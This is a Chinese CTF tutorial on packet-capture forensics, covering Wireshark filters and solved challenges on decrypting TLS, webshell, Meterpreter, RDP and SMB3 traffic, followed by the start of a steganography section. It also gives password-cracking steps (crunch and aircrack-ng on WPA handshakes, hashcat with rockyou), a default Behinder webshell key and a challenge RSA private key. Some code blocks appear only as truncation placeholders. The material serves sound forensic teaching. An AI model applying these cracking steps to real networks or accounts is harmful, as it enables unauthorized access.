Hc Misc Pcap (`docs/hc-misc/pcap.md`)


comments: true


前言

版权声明:

​ 文档源于项目ProbiusOfficial/Hello-CTF: 针对0基础新手编写的CTF快速入门手册 (github.com)

​ 原作者为 GaoNengwWw

流量分析与取证在misc中也是较为常见的题目,流量分析主要是根据元数据(不是通信内容本身)识别对手活动和通信模式,每条记录多达几兆字节的全部活动内容,可能只产生100字节的元数据,如端点(包括ip地址和域名)、端口、收发字节数、连接时长及起止时间,我们将这样一组元数据称为“网络流”(network flows)。

常用工具

流量分析中最常使用的工具是 wireshark 当然也有其他的工具例如 BruteShark.

wireshark下载地址

text
链接: https://pan.baidu.com/s/1WSzZkBhJECTY_ehwSs5U8Q?pwd=w1wa 
提取码: w1wa 复制这段内容后打开百度网盘手机App,操作更方便哦

Wireshark 基本使用方法

窗口组成

上图是Wireshark的基本窗口组成,接下来将会详细介绍每一个面板的功能以及基本使用

显示过滤窗口是最常用的功能之一,它可以迅速帮助我们筛选出我们所需要的包。例如,当我们需要分析TLS的时候,可以直接输入tls. 不过需要注意的是,筛选语法对大小写敏感 TLS !== tls

显示过滤器

Wireshark的显示过滤器允许您集中关注感兴趣的数据包,同时隐藏其他的包,本章你将学习到基本的显示过滤器语法

基本构成

过滤器表达式由一个或多个原语(Primitive)组成

形式化表达式为: [not] primitive [and|or [not] primitive ...]

[A] 表示A是可选的

<x> 表示x为必选

and(&&), or(||), not(!) 表示与或非

原语(Primitive)语法

protocol[.attr1.attr2.attr3 ... .stringN] [Comparison operator] [Value]

protocol

protocol表示需要显示的协议,目前wireshark支持的协议多达 2894 种,具体可以点击 视图 -> 内部 -> Supported Protocols 查看

常用的大概如下几种

text
tcp, udp, http, http2, http3, tls, dns ...

attr

attr一般用来表示protocol的属性,例如 ip.addr == x.x.x.x 表示,匹配ip地址为x.x.x.x的包

Comparison operator (比较值)

你可以使用语义化的英文缩写或逻辑符号来进一步的筛选你所需要的包,例如 ip.addr eq 11.4.51.4 表示,筛选所有ip包含 11.4.51.4 的包 该表达式与 ip.addr == 11.4.51.4 是等价的

常见的比较值如下表所示

English C-like example
eq == ip.addr == 1.2.3.4
ne != ip.addr != 1.2.3.4
gt > frame.len > 10
lt < frame.len < 10
ge >= frame.len >= 10
le <= frame.len <= 10
contains \ udp.payload contains "ftp"
matches ~ http.host matches "ace.(org | com | net)"
bitwise_and & tcp.flags & 0x02

Value

整数

可以是8、16、24、32或64位整数,可以使用十进制、八进制、十六进制或二进制来表示

text
frame.len > 1500
frame.len > 02734
frame.len > 0xff
frame.len > 0b1100

上述均为有效表达

布尔

可以直接使用True(TRUE)或False(FALSE),也可以使用1来表达True,0表达False

例如,当tcp.flags.syn为True时,仅会输出SYN包.

Ethernet address

由冒号(:)、句号(.)、短划线(-)分割的六个字节

text
eth.dst == ff:ff:ff:ff:ff:ff
eth.dst == ff-ff-ff-ff-ff-ff
eth.dst == ffff.ffff.ffff

IPv4地址

可以直接 ip.addr == 192.168.0.1 表达,如果你需要选一类地址,可以使用CIDR表达法

text
ip.addr == 192.168.0.0/16

IPv6

与IPv4除了地址表达有差异外,其他无不同

字符串类型

http.request.uri == "https://www.bilibili.com/"

字符串文字用双引号指定,也可以使用十六进制\xff或八进制\ddd来转移,其中f与d为十六进制和八进制数字

日期与时间

在wireshark中GMT、UTC、ISO8601表达法都是被允许的。同时,也可以对事件进行范围比较

frame.time < "2020-01-01" 该表达式是符合语法的

Combining Expressions (组合表达式)

有些时候我们需要组合其他Primitive(原语)来满足更复杂的筛选需求,例如我们需要筛选TCP包且发送方为172.17.0.2但我们不需要ack包。

很明显,一个Primitive(原语)无法满足我们的需求,这个时候我们需要将多个Primitive(原语)使用组合表达式来组合多个Primitive(原语)或称Express(表达式)

常见的组合表达式如下

English C-Like Description
and && 逻辑与
or || 逻辑或
xor ^ 异或
not ! 逻辑非
in \ 集合成员
[...] \ 切片

现在让我们尝试一下实现刚刚的要求,也就是筛选TCP包且发送方为172.17.0.2但我们不需要ack包,我们可以如下实现

text
tcp and ip.src == 172.17.0.2 and tcp.flags.ack == 0

这样,我们就可以成功的筛选出非ack包了

实战

实战是验证是否掌握的最佳方案,本章使用(DDCTF 流量分析)题目作为实战

题目下载

text
https://pan.baidu.com/s/1ZMFiORIPJGwGy_jdY-Z0Eg?pwd=g18w

DDCTF 流量分析

下载好习题后,解压,发现有一个txt和pcap文件。打开txt,内容如下。

text
流量分析
200pt

提示一:若感觉在中间某个容易出错的步骤,若有需要检验是否正确时,可以比较MD5: 90c490781f9c320cd1ba671fcb112d1c
提示二:注意补齐私钥格式
-----BEGIN RSA PRIVATE KEY-----
-----END RSA PRIVATE KEY-----

从第一点得知,我们可能会解密出一个文件

从第二点得知,我们会需要一个密钥。

问题来了,密钥可能在哪?会不会解密出来的文件就是密钥,或者说是一个其他的文件但内部隐藏着密钥?

带着这两个问题,我们打开pcap文件

可以看到右下角一共10183个分组,慢慢看恐怕是要看到天荒地老了。我们不妨筛选一下,但问题在于我们如何筛选?

不妨先统计一下,都有哪些协议?占比有多少?从而进一步的分析。点击统计 -> 协议分级

从上到下我们简单分析一下,从上图我们可以看到基本上所有的帧都是由IPv4发送的,那么IPv6就可以不用看了。紧接着,我们发现,存在两个协议,UDP与TCP。TCP比UDP有更多的分组,而且我们可以注意到,有一个TLS和FTP协议。

还记得刚刚的文档提示吗

若感觉在中间某个容易出错的步骤,若有需要检验是否正确时,可以比较MD5: 90c490781f9c320cd1ba671fcb112d1c

那么,有没有一种可能,使用了ftp传输了文件呢?我们不妨分析一下,右键FTP Data -> 作为过滤器应用 -> 选中

紧接着,关闭 协议分级 窗口,点击 文件 -> 导出对象 -> FTP-DATA

选择FL-G.zip点击save

计算MD5后我们发现是错误的

解压发现需要密码,MD5也是错误的。回到统计图

我们还发现SMTP协议,我们不妨也分析一下。在显示筛选器中输入smtp,报文非常的少一共179个报文。

点击 统计 -> 会话

其中有几个比较大的会话引起了我的注意。我们不妨跟踪一下,看看到底都发送了什么.

选中第一个会话 -> 右键

选中第一个分组 -> 跟踪流 -> TCP流 -> 左下角下拉列表选择第二个(最大的那个)

第一个会话是发送了一张base64编码的图片,后面的会话都是一些html文档。我们先将base64编码转为图片,得到了这样的一幅图片

图片上的文字为RSA密钥,OCR识别后对齐密钥格式得到如下

text
-----BEGIN RSA PRIVATE KEY-----
MIICXAIBAAKBgQDCm6vZmclJrVH1AAyGuCuSSZ8O+mIQiOUQCvN0HYbj8153JfSQ
LsJIhbRYS7+zZ1oXvPemWQDv/u/tzegt58q4ciNmcVnq1uKiygc6QOtvT7oiSTyO
vMX/q5iE2iClYUIHZEKX3BjjNDxrYvLQzPyGD1EY2DZIO6T45FNKYC2VDwIDAQAB
AoGAbtWUKUkx37lLfRq7B5sqjZVKdpBZe4tL0jg6cX5Djd3Uhk1inR9UXVNw4/y4
QGfzYqOn8+Cq7QSoBysHOeXSiPztW2cL09ktPgSlfTQyN6ELNGuiUOYnaTWYZpp/
QbRcZ/eHBulVQLlk5M6RVs9BLI9X08RAl7EcwumiRfWas6kCQQDvqC0dxl2wIjwN
czILcoWLig2c2u71Nev9DrWjWHU8eHDuzCJWvOUAHIrkexddWEK2VHd+F13GBCOQ
ZCM4prBjAkEAz+ENahsEjBE4+7H1HdIaw0+goe/45d6A2ewO/lYH6dDZTAzTW9z9
kzV8uz+Mmo5163/JtvwYQcKF39DJGGtqZQJBAKa18XR16fQ9TFL64EQwTQ+tYBzN
+04eTWQCmH3haeQ/0Cd9XyHBUveJ42Be8/jeDcIx7dGLxZKajHbEAfBFnAsCQGq1
AnbJ4Z6opJCGu+UP2c8SC8m0bhZJDelPRC8IKE28eB6SotgP61ZqaVmQ+HLJ1/wH
/5pfc3AmEyRdfyx6zwUCQCAH4SLJv/kprRz1a1gx8FR5tj4NeHEFFNEgq1gmiwmH
2STT5qZWzQFz8NRe+/otNOHBR2Xk4e8IS+ehIJ3TvyE=
-----END RSA PRIVATE KEY-----

接着回到协议分级中,我们发现有一些TLS会话,不难想到这是否会和TLS有关?

保存到一个txt/pem文件中, 点击编辑 -> 首选项 -> Protocols -> TLS -> RSA key file list -> +

其余选项可以留空,点击Browse, 选择密钥文件后点击OK.

再次打开协议分级,我们发现TLS下多出了 Hypertext Transfer Protocol(http) 协议。

接下来我们, 右键 Hypertext Transfer Protocol(http) -> 作为过滤器应用 -> 选中

单击HTTP流

即可得到flag

TLS 流量分析

TLS(Transport Layer Security)是一种安全协议,用于在计算机网络上实现加密通信

TLS 使用密钥交换算法来安全地生成一个共享的会话密钥,这个会话密钥将用于本次通信会话的加密和解密

常见的密钥交换算法包括 RSA、DH、ECDH 等

下载文件给出了流量包以及加密的 key 文件

打开 Key 文件确认为 RSA 密钥

使用 Wireshark 打开流量包导入 RSA 密钥

编辑➡首选项➡RSA 密钥➡Add new keyfile➡确定

退出再重新打开就有了解密后的数据包,成功拿到 flag

键盘流量分析

打开流量包找到数据位于 HID DATA 中

编写脚本提取数据

shell
tshark -r 1.pcapng -T fields -e usbhid.data > usbdata.txt

最后将提取出的数据用脚本转为敲击的字母即可

冰蝎流量分析

打开数据包,只有 HTTP,过滤一手

追踪上传的木马,发现内容被加密了

但是通过 Accept 分析出这是冰蝎(q=0.01)

冰蝎使用 AES 加密,密码默认是 e45e329feb5d925b,追踪一个响应流解密看看内容

解密

再解密

去查看请求包的内容

发现在请求 secret2.txt,其内容为:Hello, but what you're looking for isn't me.

继续查找,找到关键内容

解密得到压缩包

保存出来,使用 ZIP 明文攻击即可拿到 flag

TCP 流量分析

打开流量包只有 TCP

追踪数据流是一张图片,导出即可拿到 flag

RTP 流量分析

一堆 RTP 流,直接导出

之后右键点分析 ➡ 播放流念出 flag

IP 流量分析

最后发现隐写在 IP 中的 Identification 字段

使用 tshark 提取数据然后转 ASCII 最后在 Base91 解码

shell
tshark -r attachment.pacp -T fields -e ip.id > data,txt

HTTPS 流量分析

给了个流量包和 log 文件

打开流量包发现都是 HTTPS

在配置项中使用 log 文件解密 TLS

这个时候再过滤 HTTP 就能看到数据了

过滤状态码为 200 的浏览

发现参数中存在隐写,这里是倒过来的题目

数据较少可以手动提取然后通过脚本逆向拿到 flag

端口扫描分析

端口扫描要么 TCP 要么 UDP 或者 ICMP

题目提示 Nmap 经常使用的是 TCP,基于 TCP 三次握手扫描端口

首先肯定是过滤 FIN = 1,因为这是第一次握手请求包

如果端口开放则回应一个 FIN,ACK = 1,由此可以过滤

点击上面统计➡会话拿到所有开放端口

EV3 分析

打开图片提示 EV3 以及 flag 头

网上搜索 EV3 插件下载导入 WireShark 中

过滤 EV3 协议

可以发现一些特定字节有“{”,“}” 等 58 个字符疑似 flag

它们的前面都会出现 '(','R','6','D'

同时还会发现每个数据包的编号分别为 10、20、30 等

那么 '(','R','6','D' 代表的就是四组,Value 就是字符排序顺序,四组组合起来就是 flag

Web 目录爆破分析

打开流量包过滤 http 请求发现大多数都是请求的 Web 文件,推测是对后台进行扫描

上方 ”统计” → “HTTP” → “请求”

过滤状态码为 200 的数据包发现 Base64 编码,解码拿到 flag

哥斯拉流量分析

题目提示了哥斯拉,看看对哪个文件请求最多

使用命令筛选出这个文件的相关数据包

shell
http.request.uri contains "aaa.php"

追踪流发现了 eval

再往下看发现哥斯拉显著特征

Cookie 后面带有分号 ;

响应包结构体特征是

md5 前十六位 + base64 + md5 后十六位

找到 WebShell 连接密码

加密取前 16 位解密用,同时也是 flag 前半段

只取中间的来进行 base64 解码

解码后与连接的 Key 的 md5 值前 16 位进行按位异或

WPA 密钥爆破分析

我们知道 Wifi 是基于 WPA 的,最常见的 WPA 配置是 WPA-PSK(预共享密钥)

WPA-PSK 基本上意味着 Wi-Fi 网络有一个密码,由每个 Wi-Fi 网络客户端共享

发现都是基于 WLAN 的 802.11 协议数据包

首先分析 WIFI 的连接过程

第一步是扫描和关联,你会看到 Beacon帧,其中包含了 SSID、MAC 地址、支持的速率等信息

接着是 Probe Request 和 Probe Response帧

STA 用 Probe Request 来发现 AP

AP 用 Probe Response 来响应

接下来就是认证的 Authentication 请求和响应帧

它们包含认证算法和序列编号

最后就是重点内容:四次握手

因为它是使用 Eapol Key 进行封装传输的,所以需要过滤 Eapol 协议

握手包是完整的,破解的话需要密码,根据题目提示可以生成字典爆破,使用工具 Crunch

shell
crunch 11 11 -t 1391040%%%% -o passwd.txt

有字典后可以使用强大的 Aircrack-ng 爆破

成功拿到密码

蚁剑流量分析

一看 WebShell 直接过滤 POST

追踪流看到一个压缩文件,显示为 Hex 后复制在 010 中新建写入

技巧:在之前过滤的 POST 中追踪流,重点看看有没有使用 WebShell 密码

解压缩后拿到木马文件,密码就是 n3wst4r

将密码前的参数解码,注意要删掉开头两个字符,这是蚁剑流量的特点

看到 env 显示系统的环境变量

将其对应的响应包内容解码拿到 JAVA 版本

继续追踪流看到查看了一个文件

还是一样解码响应包,注意要删掉开头的几个混淆字符才行

解码的第一行就是文件内容

这里我又试了一下,开头字符数量不是固定的,需要自己手动删除测试

SQL 布尔盲注分析

打开流量包发现一片绿

直接过滤 HTTP 发现是 SQL 布尔盲注

在导出 HTTP 对象中按大小排列拿到注入成功的语句

将十进制转 ASCII 码即可

哥斯拉流量分析

题目名:gza_Cracker

给的是个流量包,打开只有 HTTP 和 TCP

直接过滤 HTTP 再排列找到木马文件 ini.php

题目有描述说明了是哥斯拉,打开蓝队研判工具

选择解密 WebShell 流量再选择哥斯拉 3.x4.x(为什么不选 1.x2.x ……因为这个版本只有 Java 的)

选择 PHP 的

我们需要找到密码参数以及密钥参数才能解密流量包

去追踪流先拿到密码参数

找到密码可参考博客链接

Key 的参数没有直接给出,总共也就十五个流

全部翻完发现在第 11 个有组数据

编写脚本比对爆破(原理参考脚本注释)

响应包开头数据总是固定的

text
/* Detailed source-code truncated for AI context efficiency. */

拿到参数后在工具箱中解密响应包拿到一串编码字符

工具梭哈拿到 flag

SMB3 流量分析

下载文件打开流量包发现加密的 SMB3 流量

SMB3(Server Message Block 3.0)是SMB协议的一个版本,广泛用于文件共享、网络打印和其他网络服务

SMB3 在 Windows 8 和 Windows Server 2012 中首次引入,并引入了许多新特性,包括加密、持久句柄、多通道支持等

要解密SMB3流量,你需要以下信息之一:

  • 会话密钥:SMB3 加密使用的会话密钥
  • Kerberos票据:如果 SMB3 使用 Kerberos 认证,可以通过 Kerberos 票据获取密钥
  • NTLM哈希:如果 SMB3 使用 NTLM 认证,可以通过 NTLM 哈希获取密钥

首先提取哈希值,脚本链接

只有一个用户的哈希值

hashcat 爆破一下得到密码 36521478

shell
hashcat -a 0 6.txt rockyou.txt

在 WireShark 中输入密码解密

解密成功可以看到有个 secret.doc 文件

导出

打开发现数据乱码,扔进 WinHex 中发现数据逆序了

逆序后参考取证 2.8 节

Ceph 流量分析

打开流量包发现 Ceph 流量

Ceph 指的是一个统一的分布式存储系统,需要工具 tcpxtract 来提取

查看图片拿到 flag

UDP 端口流量分析

打开流量包发现 UDP 流量 Info 信息一直在 3400 和 3401 徘徊

使用脚本提取

shell
# 使用 cut 裁取端口的最后一位
tshark -r 8868f595665740159650d6e654aadc93.pcap -Tfields -e udp.srcport | cut -c 4

最后编写脚本转 ASCII 码

python
s = "10110111100110101001011010001100100110101001000110011101100110101000110110011000"
flag = ''

for i in range(len(s)):
    if s[i] == '0':
        flag += '1'
    else:
        flag += '0'

# 原始字符串翻译
print(''.join(chr(int(s[i : i + 8], 2)) for i in range(0, len(s), 8)))
# 取反码字符串翻译
print(''.join(chr(int(flag[i : i + 8], 2)) for i in range(0, len(flag), 8)))

侧信道流量分析

按照题目给出的要求转为二进制即可

ICMP Length 流量分析

看 ICMP 协议中 Length 不对劲

提出来转 ASCII 码

python
a = [100, 106, 95, 101, 121, 47, 65, 107, 78, 69, 62, 75, 49, 123]
flag = ""
for i in a:
    flag += chr(i + 2)
print(flag)
# flag{1CmPG@M3}

RDP 流量分析

打开流量包发现 RDP 流量

另外,我们注意到 RDP 流量是通过 SSL 加密的,具体如下:

由此,我们可以猜测我们需要重放 RDP 会话,但要做到这一点,我们需要找到一个密钥来解密通信,这可能在 UDP 流中

跟踪 UDP 流后,我们看到大量二进制数据,其中包含一些有趣的字符串

“TSSecKeySet1” 和 “Microsoft Strong Cryptographic Provider” 看起来与我们想要找到的加密内容非常相似

我们可以将整个流转储到一个文件中并尝试对其进行分析

首先,让我们看看它是否可以识别为文件

shell
$ file extracted_data.bin
extracted_data.bin: data

它似乎没有可识别的标头

因此,让我们尝试在其上运行 Binwalk:

shell
$ binwalk -e extracted_data.bin

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
30            0x1E            Certificate in DER format (x509 v3), header length: 4, sequence length: 2376
57            0x39            Certificate in DER format (x509 v3), header length: 4, sequence length: 1466
1546          0x60A           Private key in DER format (PKCS header length: 4, sequence length: 860

现在它似乎包含一些证书和一个私钥

尝试将单个文件转换为我们可以用 openssl 读取的纯文本似乎行不通

我们可以将其读取为 ASN.1 来调试它

ASN.1 是一种描述结构化数据的标准,常用于证书、密钥等密码学数据的编码

text
/* Detailed source-code truncated for AI context efficiency. */

我们得到了一大堆数据,但是由于结构可以包含嵌套数据,我们可以通过指定要解码的八位字节字符串来深入挖掘

text
/* Detailed source-code truncated for AI context efficiency. */

再次,让我们解码嵌套结构

text
/* Detailed source-code truncated for AI context efficiency. */

这实际上看起来像一个 PKCS12 文件,这是一种捆绑证书和私钥的存档格式

我们可以从中提取私钥

shell
# openssl pkcs12 调用 OpenSSL 的 PKCS#12 工具
# -nocerts 不提取证书,仅提取私钥
# -nodes 不加密私钥
$ openssl pkcs12 -in extracted_data.bin -nocerts -nodes -out private.key
Enter Import Password: mimikatz
MAC verified OK

我猜证书文件的密码是 “mimikatz”,但我们可以从这里获得相关信息

获取私钥后,我们可以使用名为 RDP-Replay 的工具重放 RDP 会话,并找出攻击者在入侵期间所做的事情

编译后,我们可以运行 rdp_replay 可执行文件,并可以选择保存攻击者按下的键并将捕获的剪贴板事件数据转储到文件中

此外,我们还将重播的视频保存到文件中

shell
# -o recording.avi 将重放的 RDP 会话录制成 AVI 视频文件
# -p ./private.key 指定私钥文件(用于解密 TLS/SSL 加密的 RDP 流量)
# --save_clipboard 记录剪贴板内容(如果 RDP 会话中有复制粘贴操作)
# --show_keys 显示按键记录(在录制的视频中显示用户按下的键)
$ rdp_replay -r ../e8e2ceb9-b77f-4b26-b09a-fcec86e27497.pcap  -o recording.avi -p ./private.key --save_clipboard --show_keys > output

他所做的是使用不向用户显示的密码压缩和加密标志文件,然后进行 base64 编码并复制到剪贴板

这就是为什么我们必须保存键入的密钥和剪贴板事件信息

键入的按键记录:

text
RDP SSL MODE Requested by server!!
SSL private key found.
1024x756x8
REALLY DELICIOUS PANCAKES<Tab>REALLY DELICIOUS PANCAKES

剪贴板的内容:

text
N3q8ryccAATjAlOVMAAAAAAAAABqAAAAAAAAACmoQ4fA1DQXZvCzJGIg/8cxnh8QXnWoDkwNxjGL
37P7rvVC2SMn8+wquEv/A5HBL9djQewBBAYAAQkwAAcLAQACJAbxBwEKUweBdxD1DDirkCEhAQAB
AAwrJwAICgGwcALcAAAFARkJAAAAAAAAAAAAERMAZgBsAGEAZwAuAHQAeAB0AAAAGQAUCgEAAFNu
lssb0wEVBgEAIAAAAAAA

综合起来:

shell
$ cat ../clip-00000000-down | base64 -d -i > flag.7z
$ 7z x flag.7z

7-Zip [64] 9.20  Copyright (c) 1999-2010 Igor Pavlov  2010-11-18
p7zip Version 9.20 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,2 CPUs)

Processing archive: flag.7z


Enter password (will not be echoed) :
Extracting  flag.txt

Everything is Ok

Size:       39
Compressed: 186
$ cat flag.txt
HITB{44519a67ffc654e40febc09e20e8e745}

MSF 流量分析

打开流量包追踪 TCP 流,看到这个基本上确认就是 MSF 了

往下找红色响应部分

MSF 流量特征:

用开始的 4 字节异或密钥对后续报文进行异或解密,得到 32 字节的报文头

然后如果无加密,则是TLV报文;不然就是 16 自己的 IV,然后是 TLV 报文

text
Values: [XOR KEY][session guid][encryption flags][packet length][packet type][ .... TLV packets go here .... ]
Size:   [   4   ][    16      ][      4       ][       4     ][     4     ][ ....          N          .... ]
text
/* Detailed source-code truncated for AI context efficiency. */

首先 Meterpreter 主机会向被控端发送公钥,这部分默认是不加密的,本题给了私钥,所以公钥就没有必要用了

然后被控端根据公钥,对 AES25 6的密钥进行加密,发送给服务端

服务端和被控端接下来就根据 IV 对密文进行打乱,互相使用 AES256 密钥解密

依照这个思路,我们对报文进行追踪,解密出 AES256 的密钥,从后往前解包查找攻击者的命令

text
/* Detailed source-code truncated for AI context efficiency. */

发现攻击者对目录进行了罗列,出现关键词 flag.txt

text
/* Detailed source-code truncated for AI context efficiency. */

继续查找就可以发现 flag.txt 内容

text
flag{Meterpreter_Has_A_Greater_Enc_Method_Than_Shell}

鼠标运动轨迹分析

对于这种 USB 流量我们重点观察 Capture Data

键盘流量一般都是 8 字节,这里显然是鼠标流量

使用工具 USB-Mouse-Pcap-Visualizer 提取数据为 csv

shell
python usb-mouse-pacp-visualizer.py -i 1.pacp -o 1.csc

最后去这个网站绘图

https://usb-mouse-pcap-visualizer.vercel.app/

WIFI 流量分析

下载附件根据题目提示 wifi 使用工具 CTF-NetA 搜索关键字拿到密码及名称

shell
ssid: MyWifi	key: 88888888

使用工具 airdecap-ng 破解 WEP/WPA-PSK 加密的抓包文件

shell
airdecap-ng '/home/morant/capture.cap' -e MyWifi -p 88888888

执行完后会生成一个新的 .cap 文件

继续扔进 CTF-NetA 解析拿到 flag

MySQL 流量分析

MySQL 流程图如下

sql
+-------------+                                    +-------------+
|  MySQL 客户端 |                                    |  MySQL 服务端 |
+-------------+                                    +-------------+
       |                                                  |
       | 1. 建立 TCP 连接 (端口 3306)                      |
       |------------------------------------------------->|
       |                                                  |
       | 2. 接收 Handshake Initialization Packet          |
       |<-------------------------------------------------|
       |                                                  |
       | 3. 发送 Login Request Packet (用户名、密码等)     |
       |------------------------------------------------->|
       |                                                  |
       | 4. 验证成功 → 发送 OK Packet                     |
       |    验证失败 → 发送 ERR Packet                    |
       |<-------------------------------------------------|
       |                                                  |
       | 5. 发送 SQL 请求(COM_QUERY)                    |
       |------------------------------------------------->|
       |                                                  |
       | 6. 返回结果(OK / ERR / ResultSet)              |
       |<-------------------------------------------------|

发现有 MySQL 流量,直接过滤

按照顺序前三个为一组可以发现在第三次时登录成功

在后续的 Request 包中可以看到查询语句

row packet 里都是返回结果

在响应包中可以找到 flag

Redis 流量分析

Redis 协议流程图如下

text
[客户端]
    |
    |  发送命令(RESP 协议格式)
    v
  +------------------------------------+
  | *3                                |
  | $3                                |
  | SET                               |
  | $4                                |
  | key1                              |
  | $6                                |
  | value1                            |
  +------------------------------------+
    |
    |  等待响应
    v
[Redis 服务器]
    |
    |  解析命令并执行
    v
  +--------------+
  | +OK\r\n      |  ← 简单字符串响应
  +--------------+
    |
    v
[客户端接收响应]

直接过滤 RESP 协议

首先来看第一个包

yaml
6	12.525675	30.0.250.11	30.0.30.10	RESP	83	Request: COMMAND

COMMAND 是 Redis 的 元命令,用于获取服务器支持的所有命令及其详细描述

所以后续这些响应都是 COMMAND 的结果

这里可以直接看到设置的 flagflag

MongoDB 流量分析

MongoDB 协议流程图如下

text
+-----------------+       +------------------+
|  Client         |       |  MongoDB Server  |
+-----------------+       +------------------+
| OP_MSG (find)   |  -->  |                  |
|                 |       | 执行查询         |
|                 |  <--  | OP_MSG (结果文档)|
+-----------------+       +------------------+

直接过滤 Mongo 协议

细看流量包

字段名 值 含义说明
fullCollectionName admin.$cmd 表示要操作的完整集合名(数据库名 + 集合名)

$cmd 是 MongoDB 的内部虚拟集合名,代表“我要发送一个数据库命令”,而不是常规的 CRUD(增删改查)操作

字段 意图
ismaster 请求服务器返回自身状态(已被 hello 取代)
client 提供客户端系统和驱动信息(诊断用途)
compression 提出支持的压缩协议(优化网络传输)

再来看对应的响应包

响应内容大致如下

json
{
  "ismaster": true,
  "maxBsonObjectSize": 16777216,
  "maxMessageSizeBytes": 48000000,
  "maxWriteBatchSize": 100000,
  "localTime": "2025-07-24T12:34:56.123Z",
  "logicalSessionTimeoutMinutes": 30,
  "minWireVersion": 0,
  "maxWireVersion": 13,
  "readOnly": false,
  "ok": 1
}
字段名 类型 说明
ismaster / hello 布尔值 表示服务器是主节点(primary)
maxBsonObjectSize 整数 单个 BSON 文档的最大字节数(默认 16MB)
maxMessageSizeBytes 整数 最大消息包大小(默认约 48MB)
maxWriteBatchSize 整数 批量写入的最大文档数(默认 100,000)
localTime 日期时间 服务器的本地时间(ISO8601 格式)
logicalSessionTimeoutMinutes 整数 逻辑会话超时时间,单位分钟
minWireVersion 整数 支持的协议版本范围下限
maxWireVersion 整数 支持的协议版本范围上限(13 对应 MongoDB 7.x)
readOnly 布尔值 是否为只读实例(如只读副本或监控节点)
ok 数值 是否成功执行该命令(1 = 成功)

其具体的值在 Value 中查看

USB 流量分析

主要观察数据包长度,有图片的往往长度很大,复制其十六进制写入新文件中

数据包按长度排序发现两个数据包异常

打开其中一个看到了 PNG 头文件

复制其值十六进制

在 WinHex 中写入新文件保存为 PNG

成功打开

DNS 请求域名分析

DNS 请求题一般看请求域名就行

打开流量包先过滤 DNS

因为只有两个 IP,所以直接按源地址排序

看到请求域名是 Zip 的文件头

使用 Tshark 脚本提取出来

shell
tshark -r capture.pacpng -T fields -Y ip.src=192.168.43.1 -e dns.qry.name

还要在过滤下数据,使用 awk 过滤

text
awk 内置函数 match:搜索第一个参数找到与第二个参数匹配的字符串存在第三个参数中

$0 代表当前行

. :匹配单个任意字符

:出现零次或多次

\ :转义

在 WinHex 中创建新文件写入

打开拿到 flag

UDP 流量分析

打开只有三种协议:TLS、TCP、UDP

TLS 需要密钥才能解出,TCP 一般没东西,所以我们先看 UDP

第一个数据包右键追踪数据流拿到 flag

FTP-DATA 分析

打开有 FTP-DATA,优先看 FTP-DATA

追踪流提取转存图片(原始数据)

成功拿到图片

SQL 时间盲注分析

SQL 时间盲注原理:

黑客构造一个使用延时函数的 SQL 查询,延时函数的触发条件与数据库中的数据进行比较

如果比较为真,延时函数执行,查询执行时间变长

如果比较为假,延时函数不执行,查询执行时间较短

打开流量包有 HTTP 则先过滤 HTTP

随机复制一个请求 URL 去 URL 解码

知道了延时是 1s,我们就要过滤出大于 1s 的请求

shell
tshark -r 40…….pacpng -Tfields -e http.resopnse_for.uri -Y 'http.response and http.time > 1' > queries.txt

将请求全部 URL 解码,然后将图中比较的十进制数转 ASCII 拼接就是 flag

总结

很多题目都是考了不同或者多方向的知识点,总之,学得越多越好


Hc Misc Stego (`docs/hc-misc/stego.md`)


comments: true


前言

版权声明:

​ 文档源于项目ProbiusOfficial/Hello-CTF: 针对0基础新手编写的CTF快速入门手册 (github.com)

​ 原作者为 白猫。

在ctf比赛中,misc方向是必考的一个方向,其中,图片隐写也是最常见的题目类型,在本篇文章中,将教授以下内容

text
1.各种图片文件的头数据以及判断是什么类型的图片
2.png图片隐写
3.jpg图片隐写
4.gif图片隐写
5.bmp图片隐写
6.从图片中提取文件
7.lsb隐写
8.盲水印
9.exif隐写
10.图片宽高修改
……

题目以及本文所使用的所有工具项目地址,环境也配置好了,一键安装即可:

text
https://github.com/baimao-box/Misc_Picture_Steganography

安装完后,可以直接在终端输入脚本名称即可运行

我不喜欢一开始就在文章前面抛出一大堆生涩的原理,我个人喜欢遇到什么就讲什么,这样也方便理解,各位可以点击右边目录自动跳转到需要的部分

什么是计算机文件

文件由一大堆10101110……的二进制码组成,现代大多数电脑的操作系统中,文件是数据的容器,格式主要它的内容定义

PNG隐写

判断图片类型

我们将图片拖入winhex里,就能看见文件的十六进制码

文件通过特殊的格式,能让操作系统知道这是一个什么类型的文件

PNG图像格式文件由一个8字节的PNG文件标识域和3个以上的后续数据块如:IHDR、IDAT、IEND等组成

text
89 50 4E 47 0D 0A 1A 0A
text
89:用于检测传输系统是否支持8位的字符编码,用以减少将文本文件被错误的识别成PNG文件的机会,反之亦然
50 4E 47:PNG每个字母对应的ASCII,让用户可以使用文本编辑器查看时,识别出是PNG文件
0D 0A:DOS风格的换行符,用于DOS-Unix数据的换行符转换
1A:在DOS命令行下,用于阻止文件显示的文件结束符
0A:Unix风格的换行符,用于Unix-DOS换行符的转换

判断文件格式

这是一个exe程序,我们将它拖入winhex里查看

可以看到,这个文件头标识为

text
89 50 4E 47 0D 0A 1A 0A

标准的png图片格式,我们将后缀改为png

扫码就能获得flag

倒转文件byte

这是一个后缀为jpg的图片,我们用winhex打开这个图片看看

在最下面,可以看到一个倒过来的PNG和IHDR标识,说明这个png的图片格式都倒过来了,我们需要写一个小脚本来让他复原

text
a = open('flag.jpg','rb')  #读取flag.jpg图片的byte数据
b = open('png.png','wb')  #新建一个名为png.png的图片,写入byte数据
b = b.write(a.read()[::-1])  #将flag.jpg图片的byte数据,倒着写入png.png图片里

运行脚本,就能得到flag

添加文件头数据

这个图片无法打开,我们拖入winhex里看看

文件头部只有

text
0D 0A 1A 0A

而png文件头部为

text
89 50 4E 47 0D 0A 1A 0A

我们需要写入89 50 4E 47,ctrl+n新建一个文件

随意设置一个大小,然后ctrl+a全选数据,然后ctrl+c复制后粘贴到新文件里

点击第一个值,写入89 50 4E 47

然后ctrl+s保存为png格式的文件

现在图片就显示正常了

图片宽高以及CRC爆破

PNG文件中,每个数据块都由四个部分组成,如下:

text
长度(Length):指定数据块中数据区域的长度,长度不可超过(2^31-1)个字节
数据块类型码(Chunk Type Code):数据块类型码由ASCII字母(A-Z和a-z)组成的"数据块符号"
数据块数据(Chunk Data):存储数据块类型码指定的数据
循环冗余检测(CRC):存储用来检测是否文件传输有误的循环冗余码

图片高度修改

